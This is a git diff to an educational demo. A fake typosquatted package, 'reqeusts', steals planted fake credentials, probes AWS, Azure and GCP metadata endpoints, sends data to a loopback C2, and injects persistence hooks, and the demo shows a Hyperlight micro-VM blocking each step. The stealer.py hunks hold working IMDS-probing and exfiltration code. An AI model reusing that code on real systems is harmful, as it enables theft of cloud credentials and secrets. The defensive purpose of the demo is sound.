diff --git a/demos/supply-chain/.gitignore b/demos/supply-chain/.gitignore
index 362475c..1fc869f 100644
--- a/demos/supply-chain/.gitignore
+++ b/demos/supply-chain/.gitignore
@@ -1 +1,3 @@
reqeusts/__pycache__/
+hl-unikraft/guest/
+hl-unikraft/workspace/
diff --git a/demos/supply-chain/README.md b/demos/supply-chain/README.md
index be9bfbf..726e236 100644
--- a/demos/supply-chain/README.md
+++ b/demos/supply-chain/README.md
@@ -2,7 +2,8 @@
A safe, educational demonstration of a supply chain attack modeled on
[Mini Shai-Hulud](https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html)
-(TeamPCP, May 2026), showing how Hyperlight micro-VM isolation contains it.
+(TeamPCP, May 2026), showing how Hyperlight micro-VM isolation contains it
+**even when the guest has realistic capabilities**.
## Background
@@ -11,37 +12,54 @@ TanStack, Mistral AI, Guardrails AI, and AntV — affecting 518M+ cumulative
downloads. The attack used typosquatted/hijacked packages to:
1. **Steal credentials** — SSH keys, AWS creds, `.env` files, 80+ env vars
-2. **Exfiltrate data** — triple-redundant C2 (custom domain, Session Protocol, GitHub dead drops)
-3. **Install persistence** — Claude Code `SessionStart` hooks, VS Code `runOn`, LaunchAgents
-4. **Self-propagate** — used stolen npm tokens to poison other packages
+2. **Probe cloud metadata** — AWS IMDS, Azure IMDS, GCP metadata (169.254.169.254)
+3. **Exfiltrate data** — triple-redundant C2 (custom domain, Session Protocol, GitHub dead drops)
+4. **Install persistence** — Claude Code `SessionStart` hooks, VS Code `runOn`, LaunchAgents
+5. **Self-propagate** — used stolen npm tokens to poison other packages
## What this demo does
A fake typosquatted package (`reqeusts` instead of `requests`) simulates the
attack payload. A victim application imports it, triggering the malicious code.
-
-**Bare metal** — the attack succeeds: secrets are stolen, exfiltrated, persistence installed.
-
-**Hyperlight sandbox** — every malicious action is blocked by the micro-VM's
-default-deny security model:
-- **Filesystem is isolated** — the guest runs on its own ramfs (from the CPIO
- initrd). Host directories are only visible if explicitly mounted with
- `--mount`, and even then access is scoped to that directory with path-escape
- prevention. The attacker's `~/.ssh/id_rsa`, `~/.aws/credentials`, etc. simply
- don't exist inside the VM.
-- **Environment variables are compile-time only** — the guest kernel only has
- `PATH` and `LD_LIBRARY_PATH` (set in `kraft.yaml`). There is no `--env` flag;
- the host's environment is never forwarded. `AWS_ACCESS_KEY_ID`, `GITHUB_TOKEN`,
- etc. are all absent.
-- **Networking is opt-in** — without `--net`, the guest has zero network access
- (`socket()` returns "Function not implemented"). Even with `--net`, outbound
- connections can be restricted to specific hosts via `--net-allow`.
-- **Persistence is impossible** — the guest's ramfs is destroyed when the VM
- exits. There is no way to write to the host's `~/.claude/settings.json` or
- `~/.bashrc` unless the host explicitly mounts those paths.
+The victim app also does legitimate work: reads input from the workspace,
+fetches data from `example.com`, and writes output.
+
+**Bare metal** — the attack succeeds: secrets stolen, exfiltrated, persistence
+installed. Legitimate work also succeeds.
+
+**Hyperlight sandbox (scoped)** — the guest has real capabilities (`--mount`
+for directory access, `--net-allow example.com` for network). Legitimate work
+succeeds, but every malicious action is blocked by Hyperlight's security model:
+
+- **Credential theft → BLOCKED** — `~/.ssh/id_rsa`, `~/.aws/credentials`, etc.
+ are outside the mounted directory. The guest has filesystem access, but only
+ to the scoped directory (no HOME, no `/etc/passwd`).
+- **Environment variables → NOT SET** — host environment is never forwarded to
+ the guest. `AWS_ACCESS_KEY_ID`, `GITHUB_TOKEN`, etc. are absent.
+- **C2 exfiltration → BLOCKED** — loopback addresses (127.0.0.0/8) are
+ **always denied** regardless of network policy. The C2 server at
+ `127.0.0.1:8080` is unreachable.
+- **Cloud metadata → BLOCKED** — link-local addresses (169.254.0.0/16) are
+ **always denied**. AWS IMDS, Azure IMDS, and GCP metadata at 169.254.169.254
+ are all blocked — a hardcoded safety net, not a user-configurable policy.
+- **Persistence → BLOCKED** — host dotfiles (`~/.claude/settings.json`,
+ `~/.bashrc`) are not mounted. The guest's ramfs is destroyed on exit.
+
+This is **active defense**, not just absence of resources. An empty Docker
+container blocks the same attacks, but only because it has nothing to attack.
+Hyperlight blocks them because its network policy engine and filesystem sandbox
+enforce scoped access even when capabilities are granted.
## Running the demo
+### Prerequisites
+
+Install `pyhl` (the Hyperlight Python runtime):
+
+```bash
+cargo install --path host --bin pyhl
+```
+
### Bare metal (attack succeeds)
The script creates a temporary HOME with planted fake secrets, starts a C2
@@ -57,12 +75,14 @@ cd demos/supply-chain
```bash
cd demos/supply-chain/hl-unikraft
-# One-time setup
-just build # Build or pull Unikraft kernel
-just rootfs # Build rootfs with Python + malicious package
+# One-time setup — installs kernel + rootfs, warms Python snapshot
+just setup
+
+# Scoped sandbox: mount + network, attack still contained
+just run
-# Run
-just run # Execute inside the sandbox
+# Minimal sandbox: mount only, no network
+just run-minimal
```
### C2 server (standalone)
@@ -80,15 +100,13 @@ supply-chain/
├── reqeusts/ # Typosquatted package
│ ├── __init__.py # Triggers payload on import
│ ├── api.py # Fake requests-like API surface
-│ └── stealer.py # Attack payload (6 phases)
-├── victim_app.py # Legitimate-looking app that imports reqeusts
+│ └── stealer.py # Attack payload (7 phases)
+├── victim_app.py # App that imports reqeusts + does legitimate work
├── c2_server.py # Fake C2 server (receives exfiltrated data)
├── bare-metal/
│ └── run.sh # Bare-metal demo (plants secrets, runs attack)
└── hl-unikraft/
- ├── Dockerfile # Rootfs with Python + malicious package
- ├── kraft.yaml # Unikraft kernel config
- └── Justfile # Build + run commands
+ └── Justfile # pyhl-based setup + run commands
```
## Safety
diff --git a/demos/supply-chain/bare-metal/run.sh b/demos/supply-chain/bare-metal/run.sh
index d660990..cd2859b 100755
--- a/demos/supply-chain/bare-metal/run.sh
+++ b/demos/supply-chain/bare-metal/run.sh
@@ -3,10 +3,11 @@
#
# This script:
# 1. Creates a temporary HOME with planted fake secrets
-# 2. Starts the C2 server in the background
-# 3. Runs the victim app (stealer triggers on import)
-# 4. Shows the modified persistence files
-# 5. Cleans everything up
+# 2. Creates a workspace with input data (legitimate workload)
+# 3. Starts the C2 server in the background
+# 4. Runs the victim app (stealer triggers on import)
+# 5. Shows the modified persistence files and workspace output
+# 6. Cleans everything up
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
@@ -53,6 +54,11 @@ EOF
touch "$DEMO_HOME/.bashrc"
+# ── Create workspace with input data ─────────────────────────────────
+WORKSPACE="$DEMO_HOME/workspace"
+mkdir -p "$WORKSPACE"
+echo "Hello from the host filesystem" > "$WORKSPACE/input.txt"
+
# ── Start C2 server ─────────────────────────────────────────────────
python3 "$DEMO_DIR/c2_server.py" &
C2_PID=$!
@@ -66,6 +72,7 @@ echo "========================================"
echo ""
HOME="$DEMO_HOME" \
+WORKSPACE="$WORKSPACE" \
SUPPLY_CHAIN_DEMO=1 \
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE \
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
@@ -83,3 +90,9 @@ echo ""
echo "── Post-attack: ~/.bashrc (last 3 lines) ────────────────────"
tail -3 "$DEMO_HOME/.bashrc"
echo ""
+
+# ── Show workspace output ────────────────────────────────────────────
+echo ""
+echo "── Workspace output ─────────────────────────────────────────"
+cat "$WORKSPACE/output.txt" 2>/dev/null || echo "(no output written)"
+echo ""
diff --git a/demos/supply-chain/graphic.html b/demos/supply-chain/graphic.html
new file mode 100644
index 0000000..815d976
--- /dev/null
+++ b/demos/supply-chain/graphic.html
@@ -0,0 +1,262 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Bare Metal (no sandbox)
+
+
+
Credential Theft
+
~/.ssh/id_rsa STOLEN (251 B)
+
~/.aws/credentials STOLEN (135 B)
+
~/.env STOLEN (295 B)
+
~/.claude/settings.json STOLEN (72 B)
+
+
+
+
Environment Variables
+
AWS_ACCESS_KEY_ID AKIAIOSFODNN7EXA***
+
AWS_SECRET_ACCESS_KEY wJalrXUtnFEMI/K7***
+
GITHUB_TOKEN ghp_xxxxxxxxxxxx***
+
+
+
+
Cloud Metadata (IMDS)
+
Azure IMDS STOLEN (200 B)
+
+
+
+
C2 Exfiltration
+
target: http://127.0.0.1:8080
+
status: SENT (HTTP 200)
+
+
+
+
Persistence
+
~/.claude/settings.json HOOK INJECTED
+
~/.bashrc BACKDOOR INJECTED
+
+
+
+
+
+
Legitimate Work
+
read input.txt OK
+
GET example.com OK (HTTP 200)
+
write output.txt OK
+
+
+
+ ATTACK SUCCEEDED
+
4 files stolen · 3 env vars · 1 metadata endpoint · 2 persistence
+
+
+
+
+
+
Hyperlight Micro-VM (--mount ./guest --net-allow example.com)
+
+
+
Credential Theft
+
~/.ssh/id_rsa BLOCKED (no home dir)
+
~/.aws/credentials BLOCKED (no home dir)
+
~/.env BLOCKED (no home dir)
+
~/.claude/settings.json BLOCKED (no home dir)
+
+
+
+
Environment Variables
+
AWS_ACCESS_KEY_ID NOT SET
+
AWS_SECRET_ACCESS_KEY NOT SET
+
GITHUB_TOKEN NOT SET
+
+
+
+
Cloud Metadata (IMDS)
+
Azure IMDS BLOCKED (link-local)
+
+
+
+
C2 Exfiltration
+
target: http://127.0.0.1:8080
+
status: BLOCKED -- loopback policy
+
+
+
+
Persistence
+
~/.claude/settings.json BLOCKED
+
~/.bashrc BLOCKED
+
+
+
+
+
+
Legitimate Work
+
read /host/workspace/input.txt OK
+
GET example.com OK (HTTP 200)
+
write /host/workspace/output.txt OK
+
+
+
+ ATTACK CONTAINED
+
Legitimate work succeeded · All malicious actions blocked by active policy
+
+
+
+
+
+
+
+
diff --git a/demos/supply-chain/graphic.png b/demos/supply-chain/graphic.png
new file mode 100644
index 0000000..be73e57
Binary files /dev/null and b/demos/supply-chain/graphic.png differ
diff --git a/demos/supply-chain/hl-unikraft/Dockerfile b/demos/supply-chain/hl-unikraft/Dockerfile
deleted file mode 100644
index 56a5bb6..0000000
--- a/demos/supply-chain/hl-unikraft/Dockerfile
+++ /dev/null
@@ -1,23 +0,0 @@
-# Supply chain attack demo rootfs
-#
-# Bundles the typosquatted `reqeusts` package and victim app into a
-# Python rootfs for execution inside a Hyperlight micro-VM.
-#
-# Build:
-# docker build --platform linux/amd64 --target cpio -t supply-chain-cpio -f Dockerfile ..
-
-ARG BASE=ghcr.io/hyperlight-dev/hyperlight-unikraft/python-base:latest
-FROM ${BASE} AS rootfs
-
-# Install the typosquatted package into site-packages.
-# The base image is a shell-less rootfs so RUN is not available; COPY only.
-COPY reqeusts/ /usr/local/lib/python3.12/site-packages/reqeusts/
-
-# Install the victim application
-COPY victim_app.py /victim_app.py
-
-# --- CPIO rootfs builder ---
-FROM alpine:3.20 AS cpio
-RUN apk add --no-cache cpio findutils
-COPY --from=rootfs / /rootfs/
-RUN cd /rootfs && find . | cpio -o -H newc > /output.cpio 2>/dev/null
diff --git a/demos/supply-chain/hl-unikraft/Justfile b/demos/supply-chain/hl-unikraft/Justfile
index 3440989..793849b 100644
--- a/demos/supply-chain/hl-unikraft/Justfile
+++ b/demos/supply-chain/hl-unikraft/Justfile
@@ -1,55 +1,44 @@
-# Supply chain attack demo — Hyperlight-Unikraft sandbox
+# Supply chain attack demo — Hyperlight micro-VM (via pyhl)
#
-# just rootfs - Build rootfs with Python + malicious package
-# just build - Build/pull Unikraft kernel
-# just run - Run the victim app inside the sandbox
-# just rebuild - Clean + rebuild everything
-
-set windows-shell := ["powershell.exe", "-NoLogo", "-Command"]
-export DOCKER_BUILDKIT := "0"
-
-kernel := ".unikraft/build/python-hyperlight_hyperlight-x86_64"
-initrd := "initrd.cpio"
-memory := "512Mi"
-image := "supply-chain-demo"
-ghcr_kernel := "ghcr.io/hyperlight-dev/hyperlight-unikraft/python-kernel:latest"
-
-# Run the victim app inside the Hyperlight sandbox (no network, no hostfs)
-run:
- hyperlight-unikraft {{kernel}} --initrd {{initrd}} --memory {{memory}} -- /victim_app.py
-
-# Build rootfs via Docker
-rootfs:
- docker build --platform linux/amd64 --target cpio -t {{image}}-cpio -f Dockerfile ..
- - docker rm -f {{image}}-tmp
- docker create --name {{image}}-tmp {{image}}-cpio /bin/true
- docker cp {{image}}-tmp:/output.cpio ./{{initrd}}
- docker rm -f {{image}}-tmp
-
-# Build kernel via kraft (Linux)
-[unix]
-build:
- -kraft-hyperlight build --plat hyperlight --arch x86_64
-
-# Pull pre-built kernel from GHCR (Windows)
-[windows]
-build:
- docker pull {{ghcr_kernel}}
- - docker rm -f {{image}}-kernel-tmp
- docker create --name {{image}}-kernel-tmp {{ghcr_kernel}} /kernel
- New-Item -ItemType Directory -Force -Path (Split-Path {{kernel}}) | Out-Null
- docker cp {{image}}-kernel-tmp:/kernel ./{{kernel}}
- docker rm -f {{image}}-kernel-tmp
-
-# Clean + rebuild everything
-rebuild: clean build rootfs
-
-# Clean build artifacts
-[unix]
-clean:
- rm -rf .unikraft {{initrd}}
-
-[windows]
-clean:
- if (Test-Path .unikraft) { Remove-Item -Recurse -Force .unikraft }
- if (Test-Path {{initrd}}) { Remove-Item -Force {{initrd}} }
+# just setup - Install pyhl image with hostfs + networking snapshot
+# just run - Scoped sandbox: mount + allowed network (active defense)
+# just run-minimal - Minimal sandbox: mount only, no network
+
+demo_dir := justfile_directory() / ".."
+guest_dir := justfile_directory() / "guest"
+
+# Prepare the guest directory: victim app + malicious package + workspace
+[private]
+prepare:
+ mkdir -p {{guest_dir}}/workspace {{guest_dir}}/reqeusts
+ echo "Hello from the host filesystem" > {{guest_dir}}/workspace/input.txt
+ cp {{demo_dir}}/victim_app.py {{guest_dir}}/victim_app.py
+ cp {{demo_dir}}/reqeusts/__init__.py {{guest_dir}}/reqeusts/__init__.py
+ cp {{demo_dir}}/reqeusts/api.py {{guest_dir}}/reqeusts/api.py
+ cp {{demo_dir}}/reqeusts/stealer.py {{guest_dir}}/reqeusts/stealer.py
+
+# Install pyhl image with hostfs + networking baked into snapshot
+setup: prepare
+ pyhl setup --mount {{guest_dir}} --net
+
+# Scoped sandbox: guest has mount + network, but attack is still contained
+# - Legitimate work succeeds: reads input.txt, GETs example.com, writes output.txt
+# - Credential theft: BLOCKED (files outside mount don't exist)
+# - Environment variables: NOT SET (host env never forwarded)
+# - C2 exfiltration: BLOCKED (loopback always denied)
+# - Cloud metadata: BLOCKED (link-local always denied)
+# - Persistence: BLOCKED (host dotfiles not mounted)
+run: prepare
+ pyhl run \
+ --mount {{guest_dir}} \
+ --net-allow example.com \
+ -c "import sys; sys.path.insert(0, '/host'); exec(open('/host/victim_app.py').read())"
+ @echo ""
+ @echo "── Workspace after run ──"
+ @cat {{guest_dir}}/workspace/output.txt 2>/dev/null || echo "(no output written)"
+
+# Minimal sandbox: mount only (no network — everything malicious + network fails)
+run-minimal: prepare
+ pyhl run \
+ --mount {{guest_dir}} \
+ -c "import sys; sys.path.insert(0, '/host'); exec(open('/host/victim_app.py').read())"
diff --git a/demos/supply-chain/hl-unikraft/kraft.yaml b/demos/supply-chain/hl-unikraft/kraft.yaml
deleted file mode 100644
index b8c013b..0000000
--- a/demos/supply-chain/hl-unikraft/kraft.yaml
+++ /dev/null
@@ -1,64 +0,0 @@
-# Supply chain demo — kraft configuration
-# Identical to examples/python/kraft.yaml
-specification: '0.6'
-name: python-hyperlight
-
-unikraft:
- source: https://github.com/unikraft/unikraft.git
- version: plat-hyperlight
- kconfig:
- CONFIG_PLAT_HYPERLIGHT: 'y'
- CONFIG_PAGING: 'n'
- CONFIG_LIBUKVMEM: 'n'
- CONFIG_LIBUKINTCTLR_HYPERLIGHT: 'y'
- CONFIG_HYPERLIGHT_MAX_GUEST_LOG_LEVEL: 4
-
- CONFIG_LIBUKPRINT_KLVL_CRIT: 'y'
- CONFIG_LIBUKPRINT_PRINT_TIME: 'n'
- CONFIG_LIBUKPRINT_PRINT_SRCNAME: 'n'
- CONFIG_LIBUKBOOT_BANNER_NONE: 'y'
-
- CONFIG_OPTIMIZE_SIZE: 'y'
- CONFIG_OPTIMIZE_PIE: 'y'
-
- CONFIG_LIBVFSCORE: 'y'
- CONFIG_LIBVFSCORE_AUTOMOUNT_CI: 'y'
- CONFIG_LIBVFSCORE_AUTOMOUNT_CI_CUSTOM: 'y'
- CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_MP: '/'
- CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_DRIVER: 'cpiovfs'
- CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_UKOPTS_IFINITRD0: 'y'
- CONFIG_LIBCPIOVFS: 'y'
- CONFIG_LIBUKCPIO: 'y'
-
- CONFIG_APPELFLOADER: 'y'
- CONFIG_APPELFLOADER_VFSEXEC: 'y'
- CONFIG_APPELFLOADER_CUSTOMAPPNAME: 'n'
- CONFIG_APPELFLOADER_VFSEXEC_ENVPATH: 'n'
- CONFIG_APPELFLOADER_VFSEXEC_PATH: '/usr/local/bin/python3'
- CONFIG_APPELFLOADER_VFSEXEC_EXECBIT: 'n'
- CONFIG_LIBPOSIX_ENVIRON_ENVP0: 'PATH=/usr/local/bin:/usr/bin:/bin'
- CONFIG_LIBPOSIX_ENVIRON_ENVP1: 'LD_LIBRARY_PATH=/usr/local/lib'
- CONFIG_LIBELF: 'y'
-
- CONFIG_LIBUKRANDOM_CMDLINE_SEED: 'y'
- CONFIG_LIBUKRANDOM_GETRANDOM: 'y'
-
- CONFIG_LIBUKBOOT_MAINTHREAD: 'y'
- CONFIG_LIBPOSIX_PROCESS_ARCH_PRCTL: 'y'
- CONFIG_LIBPOSIX_PROCESS_MULTITHREADING: 'y'
- CONFIG_LIBPOSIX_FUTEX: 'y'
-
- CONFIG_LIBUKMPI: 'y'
- CONFIG_LIBUKMMAP: 'y'
-
-libraries:
- app-elfloader:
- source: https://github.com/unikraft/app-elfloader.git
- version: plat-hyperlight
- libelf:
- source: https://github.com/unikraft/lib-libelf.git
- version: staging
-
-targets:
- - architecture: x86_64
- platform: hyperlight
diff --git a/demos/supply-chain/reqeusts/stealer.py b/demos/supply-chain/reqeusts/stealer.py
index 5e23bc5..e12d2ed 100644
--- a/demos/supply-chain/reqeusts/stealer.py
+++ b/demos/supply-chain/reqeusts/stealer.py
@@ -90,6 +90,37 @@ def run():
print(f"{_dots(k)} {v}")
stolen["recon"] = recon
+ # ── Phase 1b: Cloud metadata probing (real Mini Shai-Hulud) ──────
+ _header("Phase 1b: Cloud Metadata (IMDS)")
+ metadata_targets = [
+ ("AWS IMDSv1", "http://169.254.169.254/latest/meta-data/", {}),
+ ("Azure IMDS", "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
+ {"Metadata": "true"}),
+ ("GCP metadata", "http://169.254.169.254/computeMetadata/v1/",
+ {"Metadata-Flavor": "Google"}),
+ ]
+ stolen_metadata = {}
+ for name, url, headers in metadata_targets:
+ try:
+ req = Request(url)
+ for k, v in headers.items():
+ req.add_header(k, v)
+ with urlopen(req, timeout=2) as resp:
+ body = resp.read().decode()[:200]
+ print(f"{_dots(name)} STOLEN ({len(body)} B)")
+ stolen_metadata[name] = body
+ except OSError as e:
+ errno = getattr(e, "errno", None) or getattr(getattr(e, "reason", None), "errno", None)
+ if errno == 5:
+ print(f"{_dots(name)} BLOCKED (link-local policy)")
+ elif isinstance(e, socket.timeout):
+ print(f"{_dots(name)} TIMEOUT (no metadata service)")
+ elif errno == 111:
+ print(f"{_dots(name)} NOT AVAILABLE")
+ else:
+ print(f"{_dots(name)} BLOCKED")
+ stolen["metadata"] = stolen_metadata
+
# ── Phase 2: Credential theft ────────────────────────────────────
_header("Phase 2: Credential Theft")
stolen_files = {}
@@ -140,18 +171,20 @@ def run():
req.add_header("Content-Type", "application/json")
with urlopen(req, timeout=5) as resp:
print(f" status: SENT (HTTP {resp.status})")
- except Exception as e:
- msg = str(e)
- if "Network is unreachable" in msg:
+ except OSError as e:
+ errno = getattr(e, "errno", None) or getattr(getattr(e, "reason", None), "errno", None)
+ if errno == 5:
+ print(" status: BLOCKED -- Connection denied (loopback policy)")
+ elif errno == 101:
print(" status: BLOCKED -- Network is unreachable")
- elif "Connection refused" in msg:
+ elif errno == 111:
print(" status: BLOCKED -- Connection refused")
- elif "timed out" in msg:
+ elif isinstance(e, socket.timeout):
print(" status: BLOCKED -- Connection timed out")
- elif "nodename nor servname" in msg or "Name or service not known" in msg:
+ elif errno == -2 or errno == -3:
print(" status: BLOCKED -- DNS resolution failed")
else:
- print(f" status: BLOCKED -- {msg}")
+ print(f" status: BLOCKED -- {e}")
# ── Phase 5: Persistence ─────────────────────────────────────────
_header("Phase 5: Persistence (Claude Code + shell)")
@@ -242,18 +275,21 @@ def run():
# ── Summary ──────────────────────────────────────────────────────
n_files = len(stolen_files)
n_env = len(stolen_env)
+ n_meta = len(stolen_metadata)
print()
print("=" * (W + 2))
- if n_files > 0 or n_env > 0:
+ if n_files > 0 or n_env > 0 or n_meta > 0:
print(" RESULT: Attack SUCCEEDED")
print(f" {n_files} credential file(s) stolen")
print(f" {n_env} environment variable(s) harvested")
+ print(f" {n_meta} cloud metadata endpoint(s) reached")
print(f" {persistence_count} persistence mechanism(s) installed")
else:
print(" RESULT: Attack CONTAINED by Hyperlight sandbox")
print(" 0 credential files stolen")
print(" 0 environment variables harvested")
+ print(" 0 cloud metadata endpoints reached")
print(" 0 persistence mechanisms installed")
print(" All malicious actions were blocked by VM isolation.")
print("=" * (W + 2))
diff --git a/demos/supply-chain/victim_app.py b/demos/supply-chain/victim_app.py
index 5353eef..644908d 100644
--- a/demos/supply-chain/victim_app.py
+++ b/demos/supply-chain/victim_app.py
@@ -2,18 +2,48 @@
"""
A simple application that fetches data from an API.
-The developer installed `reqeusts` instead of `requests` — a common
+The developer installed `reqeusts` instead of `requests` -- a common
typosquatting vector. The malicious payload runs silently on import.
"""
+import os
import reqeusts
+WORKSPACE = os.environ.get("WORKSPACE", "/host/workspace")
+
def main():
print("=== My Legitimate Application ===")
- print("Processing data...")
- print(f" reqeusts version: {reqeusts.__name__}")
- print(f" API surface: get(), post()")
+
+ # Read input from workspace
+ input_path = os.path.join(WORKSPACE, "input.txt")
+ try:
+ with open(input_path) as f:
+ data = f.read().strip()
+ print(f" input: {data}")
+ except FileNotFoundError:
+ data = "(no input file)"
+ print(f" input: {data}")
+ except Exception as e:
+ data = f"(error: {e})"
+ print(f" input: {data}")
+
+ # Fetch from allowed external API
+ try:
+ resp = reqeusts.get("http://example.com/")
+ print(f" fetch: HTTP {resp.status_code} ({len(resp.text)} bytes)")
+ except Exception as e:
+ print(f" fetch: FAILED ({e})")
+
+ # Write output to workspace
+ output_path = os.path.join(WORKSPACE, "output.txt")
+ try:
+ with open(output_path, "w") as f:
+ f.write(f"Processed: {data}\n")
+ print(f" output: {output_path} written")
+ except Exception as e:
+ print(f" output: FAILED ({e})")
+
print("Application finished.")